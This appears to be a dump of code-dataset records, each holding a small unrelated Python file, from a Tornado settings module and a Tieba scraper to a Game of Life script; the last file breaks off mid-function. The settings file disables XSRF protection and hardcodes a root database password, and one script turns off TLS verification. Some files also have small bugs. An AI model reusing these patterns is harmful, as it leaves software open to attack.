get_dir_path(SITE_ROOT, 'static', 'zipfile')\nSTATIC_DBBACK_PATH = get_dir_path(SITE_ROOT, 'static', 'dbback')\nTEMP_PATH = get_dir_path(SITE_ROOT, 'temp')\nTEMPLATE_PATH = get_dir_path(SITE_ROOT, 'template')\nTRANSLATIONS_PATH = get_dir_path(SITE_ROOT, \"translations\")\nSPIDER_LOG_PATH = get_dir_path(SITE_ROOT, 'model_spider', 'model_spider', 'logs')\n\nINIT_SETTINGS_FILE = os.path.join(SITE_ROOT, \"init.yaml\")\n\nMEMCACHE_HOST = '127.0.0.1'\nMEMCACHE_PORT = 11211\nMEMCACHE_EXPIRE_TIME = 120\n\nREDIS_HOST = 'db_redis'\nREDIS_PORT = 6379\nREDIS_DB = 0\nREDIS_PASSWORD = None\nREDIS_TOKEN_BLOCK_DB = 3\n\nMONGODB_ADDRESS = 'db_mongo'\nMONGODB_PORT = 27017\nMONGODB_DBNAME = 'home'\nMONGODB_USERNAME = None\nMONGODB_PASSWORD = None\nMONGODB_AUTHDB = None\n\nMAIL_SERVER_IP = \"\"\nMAIL_SERVER_USER = \"\"\nMAIL_SERVER_USER_MAIL = \"\"\nMAIL_SENDER_NAME = \"\"\n\nWECHAT_ACCESS_TOKEN_URL = \"\"\nWECHAT_REFRESH_ACCESS_TOKEN_URL = \"\"\nWECHAT_USERINFO_URL = \"\"\nWECHAT_APPID = \"\"\nWECHAT_SECRET = \"\"\n\nRPC_SERVER_HOST = 'db_redis'\nRPC_SERVER_PORT = 6000\n\ntry:\n from local_settings import * # noqa: F403\nexcept Exception:\n print('load local settings faild.')\n\nif SITE_PORT == 80:\n SITE_URL = f'{SITE_PROTOCOL}://{SITE_DOMAIN}'\nelse:\n SITE_URL = f'{SITE_PROTOCOL}://{SITE_DOMAIN}:{SITE_PORT}'\n\nMEMCACHE_HOSTS = (f'{MEMCACHE_HOST}:{MEMCACHE_PORT}',)\n\nDB_CONNECTED = False\n\n\ndef connect_db_mysql():\n import asyncio\n import pymysql\n\n pymysql.install_as_MySQLdb()\n\n from sqlalchemy import create_engine\n from sqlalchemy.ext.declarative import declarative_base\n from sqlalchemy import Column, Integer, String, Text, MetaData, Table\n from sqlalchemy.schema import CreateTable\n from sqlalchemy.orm import sessionmaker\n\n from sqlalchemy_aio import ASYNCIO_STRATEGY, TRIO_STRATEGY\n from sqlalchemy_aio.asyncio import AsyncioEngine\n\n engine = create_engine(\n \"mysql://root:swxs@localhost/runoob\", strategy=ASYNCIO_STRATEGY, encoding='latin1', echo=False\n )\n return engine\n\n\ndef connect_db(db_name=MONGODB_DBNAME, mock=False):\n global DB_CONNECTED\n from motor.motor_asyncio import AsyncIOMotorClient\n from umongo import Instance, Document, fields, ValidationError, set_gettext\n from umongo.marshmallow_bonus import SchemaFromUmongo\n\n db = AsyncIOMotorClient()[db_name]\n return Instance(db)\n\n\ntry:\n MYSQL_INSTANCE = connect_db_mysql()\n print(\"mongo db connect success!\")\nexcept Exception:\n MYSQL_INSTANCE = None\n print(\"mysql db connect failed!\")\n\ntry:\n MONGO_INSTANCE = connect_db()\n print(\"mongo db connect success!\")\nexcept Exception:\n MONGO_INSTANCE = None\n print(\"mongo db connect failed!\")\n\nweb = dict(\n cookie_secret=SECRET_KEY,\n login_url=\"/login/\",\n template_path=TEMPLATE_PATH,\n static_path=STATIC_PATH,\n root_path=SITE_ROOT,\n xsrf_cookies=False,\n autoescape=\"xhtml_escape\",\n debug=DEBUG,\n xheaders=True,\n translations=TRANSLATIONS_PATH,\n # static_url_prefix='', #启用CDN后可修改此定义, 例如: \"http://cdn.abc.com/static/\"\n pycket={\n 'engine': 'redis',\n 'storage': {'host': REDIS_HOST, 'port': REDIS_PORT, 'db_sessions': 10, 'db_notifications': 11},\n },\n)\n\nrpc = dict(host=\"0.0.0.0\", port=6000, client_timeout=None)\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"149360775","text":"# coding=utf-8\nimport requests\n\n\nclass TiebaSpider:\n def __init__(self,tieba_name):\n self.tieba_name = tieba_name\n self.url = \"https://tieba.baidu.com/f?wd=\"+tieba_name+\"&ie=utf-8&pn={}\"\n self.headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36\"}\n def parse_url(self,url):\n print(url)\n respone = requests.get(url,headers=self.headers)\n return respone.content.decode()\n\n def get_url_list(self):\n url_list = []\n for i in range(100):\n url_list.append(self.url.format(i*50))\n return url_list\n\n def save_html(self,html_str,page_num):\n file_path = \"{}-第{}页面.html\".format(self.tieba_name,page_num)\n with open(file_path,\"w\",encoding=\"utf-8\") as f:\n f.write(html_str)\n\n def run(self):\n url_list = self.get_url_list()\n for url in url_list:\n html_url = self.parse_url(url)\n page_num = url_list.index(url)+1\n self.save_html(html_url,page_num)\n\nif __name__ == '__main__':\n liyi = TiebaSpider(\"lol\")\n liyi.run()\n\n #https://tieba.baidu.com/f?kw=%E6%9D%8E%E6%AF%85&ie=utf-8&pn=50\n #https://tieba.baidu.com/f?wd=李毅&ie=utf-8&pn=50","sub_path":"reptile/tieba_spider.py","file_name":"tieba_spider.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"474543256","text":"## 백준 2443번 : 별 찍기 -6\r\n\r\nimport sys\r\ninput = sys.stdin.readline\r\n\r\nN = int(input())\r\n\r\n\r\nk = 0\r\nfor i in range(N-1, -1, -1):\r\n print(\" \" * k + \"*\" * (2*i+1))\r\n k += 1\r\n\r\n","sub_path":"baekjoon/백준_2443.py","file_name":"백준_2443.py","file_ext":"py","file_size_in_byte":188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"514400403","text":"from mpxapi.api_base import ApiBase\n\n\nclass Key(ApiBase):\n def __init__(self, api):\n ApiBase.__init__(self, api)\n\n self.schema = \"1.2.1\"\n self.service = \"Key Data Service\"\n self.path = \"/data/Key\"\n","sub_path":"mpxapi/key/key.py","file_name":"key.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"455603084","text":"# Slicing\nname = \"Humayun Ahmad\"\n\n# first_name = name[:7] # [0:8]\n# last_name = name[8:] # [8:end]\n# funky_name = name[::2] # [0:end:2]\n# reversed_name = name[::-1] # [0:end:-1]\n# print(reversed_name)\n\nwebsite1 = \"http://google.com\"\n\nslice = slice(7,-4)\nprint(website1[slice])\nprint(website1)","sub_path":"Python Full Course - Bro Code/string_slicing.py","file_name":"string_slicing.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"303646890","text":"from odoo import fields, models, api\nfrom datetime import date\nfrom datetime import timedelta\n\n\nclass SupplierInfo(models.Model):\n _inherit = 'product.supplierinfo'\n\n is_price_manual = fields.Boolean(default=False, copy=False)\n price_rate_convert = fields.Float()\n\n @api.model\n def create(self, vals):\n res = super(SupplierInfo, self).create(vals)\n currency = self.env.company.currency_from_id\n if not res.is_price_manual:\n res.date_start = date.today()\n res.date_end = date.today() + timedelta(days=15)\n\n if currency:\n if res.currency_id.id != currency.id:\n date_currency, rate = self.env.company.get_rate(currency.id)\n if date and rate:\n res.price_rate_convert = round(res.price / rate, 2)\n else:\n res.price_rate_convert = res.price\n return res\n","sub_path":"quotation_lanta/models/SupplierInfo.py","file_name":"SupplierInfo.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"621664924","text":"\"\"\"Adds user roles\n\nRevision ID: 94e8139261e4\nRevises: e62d063f87e7\nCreate Date: 2019-09-19 09:15:15.220988\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '94e8139261e4'\ndown_revision = 'e62d063f87e7'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n roles_table = op.create_table('roles',\n sa.Column('id', sa.String(length=255), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n\n op.bulk_insert(\n roles_table,\n [\n {\"id\": \"super_admin\"},\n {\"id\": \"admin\"},\n {\"id\": \"user\"},\n {\"id\": \"end_user\"},\n ],\n )\n\n op.add_column('users', sa.Column('role', sa.String(length=255), server_default=sa.text(\"'user'\"), nullable=True))\n op.create_foreign_key('fk_user_role', 'users', 'roles', ['role'], ['id'])\n op.alter_column(\"users\", \"role\", server_default=None)\n op.alter_column(\"users\", \"role\", nullable=False)\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint('fk_user_role', 'users', type_='foreignkey')\n op.drop_column('users', 'role')\n op.drop_table('roles')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/94e8139261e4_adds_user_roles.py","file_name":"94e8139261e4_adds_user_roles.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"566197465","text":"from time import time \nimport os\nimport subprocess\nimport networkx as nx\nfrom sys import argv \n\ndef read_graph(fname):\n g = nx.read_edgelist(fname, nodetype=int, create_using=nx.Graph())\n print(fname)\n name = fname.split('/')[-1]\n name = '_'.join(name.split('_')[: -2])\n g.name = name\n print(f'Read {name}, n = {g.order()}, m = {g.size()}')\n return g\n\n\ndef subdue(g):\n print('Starting SUBDUE....')\n\n name = g.name\n g = nx.convert_node_labels_to_integers(g, first_label=1)\n g.name = name\n\n with open('../subdue/{}_sub.g'.format(g.name), 'w') as f:\n for u in sorted(g.nodes()):\n f.write('\\nv {} v'.format(u))\n\n for u, v in g.edges():\n f.write('\\nd {} {} e'.format(u, v))\n\n start_time = time()\n\n completed_process = subprocess.run('cd ../subdue; ./subdue {}_sub.g'.format(g.name),\n shell=True, stdout=subprocess.PIPE)\n\n print('SUBDUE ran in {} secs'.format(round(time() - start_time, 3)))\n\ndef main():\n if len(argv) < 2:\n print('Provide path to edge list')\n return \n g = read_graph(argv[1])\n\n # subdue(g)\n\n\nif __name__ == '__main__':\n main()","sub_path":"src/bugge/graphs_for_satyaki/run_subdue.py","file_name":"run_subdue.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"273526345","text":"\"\"\"\n femagtools.vbf\n ~~~~~~~~~~~~~~\n\n Manage VBF magnetizing curve data files\n\n\n\n\"\"\"\nimport sys\nimport femagtools.losscoeffs as lc\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nfo = 50.\nBo = 1.5\n\n\nclass Reader(object):\n\n def __init__(self, filename, filecontent=None):\n self.losses = {}\n # filecontent is used\n if filecontent:\n content = [l.strip() for l in filecontent.split('\\n')]\n else:\n # only filename\n with open(filename) as f:\n content = [l.strip() for l in f.readlines()]\n\n if content:\n self.losses['name'] = content[0]\n self.losses['fo'], self.losses['Bo'] = [float(s)\n for s in content[1].split()]\n # Ignore the next line\n self.losses['f'] = [float(s) for s in content[3].split()]\n self.losses['B'] = []\n self.losses['pfe'] = []\n for l in content[4:]:\n values = [float(s) for s in l.strip().split()]\n if len(values) > 1:\n self.losses['B'].append(values[0])\n self.losses['pfe'].append(\n [v if v > 0 else None for v in values[1:]])\n logger.info(\"%s fmax %5.1f Bmax %3.2f\", filename,\n max(self.losses['f']), max(self.losses['B']))\n\n def __getitem__(self, index):\n return self.losses[index]\n \n def getLossValues(self):\n return self.losses\n\n\ndef read(filename, filecontent=None):\n \"\"\"read VBF file and return dict of content\"\"\"\n vbf = Reader(filename, filecontent=filecontent)\n return vbf.getLossValues()\n \n\nif __name__ == \"__main__\":\n import matplotlib.pylab as pl\n import femagtools.plot\n \n if len(sys.argv) == 2:\n filename = sys.argv[1]\n else:\n filename = sys.stdin.readline().strip()\n\n logging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(message)s')\n losses = read(filename)\n print(losses)\n \n femagtools.plot.felosses(losses,\n lc.fitjordan(\n losses['f'],\n losses['B'],\n losses['pfe'],\n losses['Bo'],\n losses['fo']),\n title=filename, log=False)\n pl.show()\n","sub_path":"src/femagtools/vbf.py","file_name":"vbf.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"152142360","text":"'''Script simples simulando funcionalidade de caixa eletrônico'''\nfrom math import floor\n\n\ndef count_money(amt, banknotes):\n '''\n Função que conta as notas.\n Essa função não deve manusear exceções nem cuidar de\n entrada/saída. Para isso, usaremos outra função.\n '''\n remaining_amt = amt\n count = {}\n \n for note in sorted(banknotes, reverse=True):\n note_amt = floor(remaining_amt / note)\n count[note] = note_amt\n remaining_amt -= note * note_amt\n \n if remaining_amt:\n count['remainder'] = remaining_amt\n \n return count\n \n\ndef ask(banknotes):\n '''\n Função que faz a pergunta por linha de comando.\n Já que é essa função que cuida de entrada/saída, é ela que\n deve ser responsável pelo manuseio de exceções.\n '''\n notes_str = ', '.join(map(lambda i: 'R$ ' + str(i),\n sorted(banknotes, reverse=True))\n )\n \n print('Notas disponíveis:', notes_str)\n while True:\n try:\n amt = int(input('Qual valor você deseja retirar?'))\n money = count_money(amt, banknotes)\n except ValueError:\n print('Insira apenas números!')\n continue\n \n print('Retirando R$ ' + str(amt))\n break\n \n return money\n\n\ndef normalize_strlen(string, length):\n '''\n Helper que adiciona enchimento a strings mais curtas\n feita para tabular as linhas da saída\n '''\n \n if len(string) < length:\n return (' ' * (length - len(string))) + string\n \n return string\n \n\ndef main():\n retrieval = ask([100, 50, 20, 10, 5, 2])\n template = 'R$ {0}: {1} nota{2}'\n print('\\n'.join([template.format(normalize_strlen(str(i), 3),\n str(retrieval[i]),\n 's' if retrieval[i] > 1 else '')\n for i in retrieval if retrieval[i] > 0]))\n\n\nmain()\n","sub_path":"atm/atm.py","file_name":"atm.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"476899916","text":"#!/usr/bin/env python2\n\n\"\"\"Wait for an appliance UI to be usable\n\nSpecifically, it will block until the specified URL returns status code 200.\n\nIt will use base_url from conf.env by default.\n\n\"\"\"\nimport argparse\nimport sys\n\nimport requests\n\nfrom utils.conf import env\nfrom utils.log import logger\nfrom utils.wait import wait_for, TimedOutError\n\n\ndef main():\n parser = argparse.ArgumentParser(epilog=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument('url', nargs='?', default=env['base_url'],\n help='URL of target appliance, e.g. \"https://ip_or_host/\"')\n parser.add_argument('--num-sec', default=600, type=int, dest='num_sec',\n help='Maximum number of seconds to wait before giving up, default 600 (10 minutes)')\n\n args = parser.parse_args()\n if check_appliance_ui(args.url, args.num_sec):\n return 0\n else:\n return 1\n\n\ndef check_appliance_ui(url, num_sec=600):\n try:\n wait_for(_check_appliance_ui_wait_fn, [url], num_sec=num_sec, delay=10)\n return True\n except TimedOutError:\n pass\n\n\ndef _check_appliance_ui_wait_fn(url):\n # Get the URL, don't verify ssl cert\n try:\n response = requests.get(url, timeout=10, verify=False)\n if response.status_code == 200:\n logger.info(\"Appliance online\")\n return True\n else:\n logger.debug('Appliance online, status code %d' %\n response.status_code)\n except requests.exceptions.Timeout:\n logger.debug('Appliance offline, connection timed out')\n except ValueError:\n # requests exposes invalid URLs as ValueErrors, which is excellent.\n raise\n except Exception as ex:\n logger.debug('Appliance online, but connection failed: %s' % ex.message)\n return False\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"scripts/wait_for_appliance_ui.py","file_name":"wait_for_appliance_ui.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"542773355","text":"import urllib.parse\nimport urllib.request\nfrom bs4 import BeautifulSoup\nfrom nameparser import HumanName\nimport json\nimport re\nimport write_error_to_logfile\nimport find_sysnumbers_of_volumes\nfrom harvest_records import harvest_records\nimport gnd_request_for_cor\n\n\ndef create_publication_dicts(last_item_harvested_in_last_session, *other):\n publication_dicts = []\n items_harvested = []\n try:\n volumes_sysnumbers = find_sysnumbers_of_volumes.find_sysnumbers('000058571')\n url = 'https://www.libraweb.net/sommari.php?chiave=6'\n user_agent = 'Mozilla/5.0 (X11; Linux x86_64; rv:66.0)'\n values = {'name': 'Helena Nebel',\n 'location': 'Berlin',\n 'language': 'Python'}\n headers = {'User-Agent': user_agent}\n data = urllib.parse.urlencode(values)\n data = data.encode('ascii')\n req = urllib.request.Request(url, data, headers)\n with urllib.request.urlopen(req) as response:\n journal_page = response.read()\n journal_page = journal_page.decode('utf-8')\n journal_soup = BeautifulSoup(journal_page, 'html.parser')\n volume_urls = ['http://www.libraweb.net/' + link['href'] for link in journal_soup.find_all('a')\n if (link.text.strip('\\n') == 'Online') and ('articoli' in link['href'])]\n for volume_url in volume_urls:\n req = urllib.request.Request(volume_url)\n with urllib.request.urlopen(req) as response:\n volume_page = response.read().decode('utf-8')\n volume_soup = BeautifulSoup(volume_page, 'html.parser')\n url_praefix = volume_url.replace('articoli.php', 'articoli3.php')\n article_urls = [url_praefix + '&articolo=' + article_suffix.find('a')['id'] for article_suffix in volume_soup.find_all('span', class_='asterisco') if article_suffix.find('a')]\n article_urls = [article_url for article_url in article_urls if article_url[-1] != '0']\n for article_url in article_urls:\n req = urllib.request.Request(article_url)\n with urllib.request.urlopen(req) as response:\n article_page = response.read().decode('utf-8')\n article_info = BeautifulSoup(article_page, 'html.parser')\n article_info = article_info.find('div', class_=\"twelve columns libra-book-indice\")\n if 'DOI' in article_info.text:\n doi = [url.text for url in [link for link in article_info.find_all('a') if 'href' in link.attrs] if 'dx.medra.org' in url['href']][0]\n else:\n doi = ''\n title_and_author_info = [info for info in article_info('span', class_='font-xl') if 'Vol.' not in info.text][0]\n volume_info = [info.find('a') for info in article_info('span', class_='font-xl') if 'Vol.' in info.text][0]\n volume_name, volume_year = re.findall(r'([X|V|I|L]+)[^o].+(\\d{4})', volume_info.text)[0]\n current_item = int(volume_year)\n if current_item > last_item_harvested_in_last_session:\n with open('publication_dict.json', 'r') as publication_dict_template:\n publication_dict = json.load(publication_dict_template)\n #print(title_and_author_info)\n title = title_and_author_info.find('em').text if title_and_author_info.find('em') else None\n if not title:\n continue\n authors = [author.split('/')[0] for author in title_and_author_info.text.replace(title, '').replace('\\n', '').split(', ')]\n authors = [author for author in authors if author]\n publication_dict['authors_list'] = [HumanName(author).last + ', ' + HumanName(author).first if not gnd_request_for_cor.check_gnd_for_name(author)\n else author for author in authors ]\n pages = re.findall(r'\\d{1,3}-\\d{1,3}', article_info.text.split('Pagine:')[1].split('Prezzo:')[0])[0]\n publication_dict['volume'] = volume_name\n publication_dict['host_item']['name'] = 'Kókalos'\n publication_dict['host_item']['sysnumber'] = volumes_sysnumbers[volume_year]\n publication_dict['host_item_is_volume'] = True\n publication_dict['title_dict']['main_title'] = title\n publication_dict['publication_year'] = volume_year\n publication_dict['doi'] = doi\n publication_dict['abstract_link'] = article_url\n publication_dict['html_links'].append(article_url)\n publication_dict['pages'] = 'p. ' + pages\n publication_dict['rdacarrier'] = 'cr'\n publication_dict['rdamedia'] = 'c'\n publication_dict['rdacontent'] = 'txt'\n publication_dict['LDR_06_07'] = 'ab'\n publication_dict['field_006'] = 'm o d | '\n publication_dict['field_007'] = 'cr uuu uuuuu'\n publication_dict['field_008_18-34'] = 'ar p|o|||||| b|'\n publication_dict['fields_590'] = ['arom', '2021xhnxkokalosk', 'Online publication']\n publication_dict['original_cataloging_agency'] = ''\n publication_dict['publication_etc_statement']['publication'] = {'place': 'Roma',\n 'responsible': ' Fabrizio Serra Editore',\n 'country_code': 'it '}\n publication_dict['table_of_contents_link'] = volume_url\n publication_dict['abstract_link'] = article_url\n publication_dict['field_300'] = '1 online resource (p. ' + pages + ')'\n publication_dict['force_300'] = True\n publication_dict['default_language'] = 'ita'\n publication_dict['do_detect_lang'] = True\n publication_dict['check_for_doublets_and_pars'] = False\n publication_dicts.append(publication_dict)\n items_harvested.append(current_item)\n except Exception as e:\n write_error_to_logfile.write(e)\n write_error_to_logfile.comment('Es konnten keine Artikel für Kókalos geharvested werden.')\n items_harvested, publication_dicts = [], []\n return publication_dicts, items_harvested\n\n\ndef harvest(path):\n return_string = harvest_records(path, 'kokalos', 'Kókalos', create_publication_dicts)\n return return_string\n\n\nif __name__ == '__main__':\n harvest_records('records/kokalos/', 'kokalos', 'Kókalos', create_publication_dicts)","sub_path":"kokalos.py","file_name":"kokalos.py","file_ext":"py","file_size_in_byte":6887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"626801790","text":"# coding: utf-8\n\nimport json\nimport urllib2\nimport string\nimport random\n\nrandomAlphabet = string.letters + \"0123456789\"\n\ndef createIdProxy(sizeId = 16):\n idProxy = \"\"\n for i in range(sizeId):\n idProxy += random.choice(string.letters)\n return idProxy\n\ndef sendTweet(tweet):\n idProxy = createIdProxy()\n data = {\"idProxy\": idProxy,\"tweet\": tweet, \"uri\":\"http://localhost:4242/answer\"}\n\n req = urllib2.Request(\"http://10.0.2.15:10042/tweet\")\n req.add_header('Content-Type', 'application/json')\n\n res = urllib2.urlopen(req, json.dumps(data))\n return idProxy\n\nsmartProxy = \"\" # will contain lines \"num line in the file 'tweets';idProxy\\n\"\n\nwith open(\"tweets\", \"r\") as f:\n tweets = f.read().split(\"\\n\")\n for i in range(len(tweets)):\n if(len(tweets[i]) > 1):\n try:\n idProxy = sendTweet(tweets[i])\n smartProxy += str(i) + \";\" + str(idProxy) + \"\\n\"\n except Exception as e:\n print(\"error with the tweet num \"+str(i))\n print(e)\n else:\n print(\"tweet num \"+str(i)+\" is empty\")\n outputFile = open(\"smartProxy.csv\", \"w\")\n outputFile.write(smartProxy)\n outputFile.close()\n\n \n","sub_path":"vm_client/python/send_tweet.py","file_name":"send_tweet.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"265628687","text":"#MenuTitle: Remove missing glyphs from sample string\n# -*- coding: utf-8 -*-\n__doc__=\"\"\"Opens a new tab from selected sample text, removing glyphs that contain no paths (excluding word spaces)\"\"\"\n\n# -> Robert Pratley aka rp118758 @ GitHub\n# -> www.robertpratley.co.uk\n\nimport GlyphsApp\n\nDoc = Glyphs.currentDocument\nFont = Glyphs.font\nselectedLayers = Font.selectedLayers\nentryText = [ thisLayer.parent.name for thisLayer in selectedLayers ]\n\nemptyGlyphs = []\nfor thisLayer in selectedLayers:\n\tnumberOfPaths = len(thisLayer.paths)\n\tif numberOfPaths < 1:\n\t\tif thisLayer.parent.name != 'space':\n\t\t\temptyGlyphs.append(thisLayer.parent.name)\n\t\t\t\nnewText = [x for x in entryText if x not in emptyGlyphs]\nnewText = \"/\" + \"/ \".join(newText).replace(' ', '')\n\nGlyphs.currentDocument.windowController().addTabWithString_( newText )\n","sub_path":"Preview/remove empty glyphs from string.py","file_name":"remove empty glyphs from string.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"620916393","text":"##################################################################################################\n'''\n// @Project ROC Graph Generator (Receiver Operating Characteristic)\n// @Author Saccharide\n'''\n##################################################################################################\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n\ndef graph(attack_packets, benign_packets):\n\n # Getting the maximum size T\n maxAttackSize = max(attack_packets)\n maxBenignSize = max(benign_packets)\n maxIterateSize = max([maxAttackSize, maxBenignSize])\n\n # Setting up the x (false positives) and y (true positives) to plot\n false_positives_list = []\n true_positives_list = []\n\n # Iterate from t = 0 to T, and calculate the corresponding TPR and FPR\n for t in range(maxIterateSize+1):\n\n # Finding the True Positives\n true_positive = [ x for x in attack_packets if x <= t]\n true_positive_rate = float(len(true_positive)) / len(attack_packets)\n\n # Finding the False Positives\n false_positive = [ x for x in benign_packets if x <= t] \n false_positive_rate = float(len(false_positive)) / len(benign_packets)\n\n # Adding them to their respective lists\n true_positives_list.append(true_positive_rate)\n false_positives_list.append(false_positive_rate)\n\n\n # Printing for debugging:\n # print(\"Current iteration t = \",t) \n print(\"# of True Positive = \", len(true_positive))\n print(\"True Positive Rate = \", true_positive_rate)\n print(\"\")\n print(\"# of False Positive = \", len(false_positive))\n print(\"False Positive Rate = \", false_positive_rate)\n print(\"-------------------------------------------\") \n\n\n print(\"True Positive list = \", true_positives_list)\n print(\"False Postive list = \", false_positives_list)\n # Graph them with matplotlib\n plt.scatter(false_positives_list, true_positives_list, clip_on=False)\n plt.plot(false_positives_list, true_positives_list, clip_on=False)\n \n # Adding label to the graph\n plt.suptitle('ROC Graph')\n plt.xlabel('False Positive Rate', fontsize = 18)\n plt.ylabel('True Positive Rate' , fontsize = 18)\n \n # Sets up the x and y limits\n axes = plt.gca()\n axes.set_ylim([0.0,1.0])\n axes.set_xlim([0.0,1.0])\n\n plt.show()\n\nattack_packets = [1,2,2,3,3,6,6,10]\nbenign_packets = [3,3,5,6,7,7,8,8,8,9]\n\ngraph(attack_packets, benign_packets)\n","sub_path":"ROC_generator.py","file_name":"ROC_generator.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"297428074","text":"import pygame\nfrom pygame import *\nfrom random import randint, choice\nimport sys\nimport math\n\n#Make some functions\ndef get_first_board():\n\tboard = [[i for i in range(board_length)] for i in range(board_length)]\n\t#Creates an empty 2d array\n\n\tfor x in range(board_length):\n\t\tfor y in range(board_length):\n\t\t\tboard[x][y] = choice([0, choice([0, choice([0, 1])])])\n\treturn board\n\n\ndef generate_board(board):\n\tnew_board = [[i for i in range(board_length)] for i in range(board_length)]\n\n\tfor x in range(board_length):\n\t\tfor y in range(board_length):\n\t\t\tnew_board[x][y] = board[x][y]\n\n\tfor x in range(board_length):\n\t\tfor y in range(board_length):\n\t\t\tneighbors = get_neighbors(board, x, y)\n\n\t\t\t#alive\n\t\t\tif board[x][y] == 1:\n\t\t\t\tif neighbors < 2:\n\t\t\t\t\tnew_board[x][y] = 0\n\t\t\t\telif neighbors > 3:\n\t\t\t\t\tnew_board[x][y] = 0\n\t\t\t\telse:\n\t\t\t\t\tnew_board[x][y] = 1\n\n\t\t\telif board[x][y] == 0:\n\t\t\t\tif neighbors == 3:\n\t\t\t\t\tnew_board[x][y] = 1\n\t\t\t\telse:\n\t\t\t\t\tnew_board[x][y] = 0\n\treturn new_board\n\n\ndef get_neighbors(board, x, y):\n\tneighbors = 0\n\n\tfor neighbor_x in range(x-1, x+2):\n\t\tfor neighbor_y in range(y-1, y+2):\n\t\t\tcol = (neighbor_x + board_length) % board_length\n\t\t\trow = (neighbor_y + board_length) % board_length\n\n\t\t\ttry:\n\t\t\t\tif not(x == neighbor_x and y == neighbor_y):\n\t\t\t\t\tneighbors += board[col][row]\n\t\t\texcept:\n\t\t\t\tcontinue\n\treturn neighbors\n\n\ndef draw_board(board):\n\tfor x in range(board_length):\n\t\tfor y in range(board_length):\n\t\t\tx1 = x*cell_size\n\t\t\ty1 = y*cell_size\n\n\t\t\tif board[x][y] == 1:\n\t\t\t\tpygame.draw.rect(screen, BLACK, ((x1, y1), (cell_size, cell_size)))\n\n\nif __name__ == '__main__':\n\tscreen_size = 600\n\tscreen = pygame.display.set_mode((screen_size, screen_size),0,24)\n\tcell_size = 10\n\n\tboard_length = int(screen_size / cell_size)\n\n\t#Colours\n\tWHITE = (255,255,255)\n\tBLACK = (0,0,0)\n\n\n\tpygame.init()\n\tpygame.display.set_caption('Game of life')\n\tFPSCLOCK = pygame.time.Clock()\n\n\tcurrent_board = get_first_board()\n\tdraw_board(current_board)\n\n\tpygame.display.update()\n\n\tFPS = 20\n\n\twhile True:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == QUIT:\n\t\t\t\tpygame.quit()\n\t\t\t\tsys.exit()\n\n\t\tcurrent_board = generate_board(current_board)\n\n\t\tscreen.fill(WHITE)\n\t\tdraw_board(current_board)\n\n\n\n\t\tpygame.display.update()\n\t\tFPSCLOCK.tick(FPS)\n","sub_path":"pygame_projects/gameoflife.py","file_name":"gameoflife.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"616657067","text":"\"\"\"Test the `ontoversion` tool.\"\"\"\nimport pytest\n\n\n@pytest.mark.parametrize(\"tool\", [\"ontoversion\"], indirect=True)\ndef test_run(tool) -> None:\n \"\"\"Check running `ontoversion` works.\"\"\"\n from pathlib import Path\n\n test_file = (\n Path(__file__).resolve().parent.parent / \"testonto\" / \"testonto.ttl\"\n )\n\n tool.main([str(test_file), \"--format\", \"ttl\"])\n","sub_path":"tests/tools/test_ontoversion.py","file_name":"test_ontoversion.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"230521023","text":"#!/usr/bin/env python\nimport rospy\nfrom sensor_msgs.msg import Joy\n\nfrom bluerov_bridge import Bridge\n\n\ndef joy_callback(msg):\n # Arm / disarm\n if msg.buttons[0]:\n bridge.arm_throttle(True)\n if msg.buttons[1]:\n bridge.arm_throttle(False)\n \n # 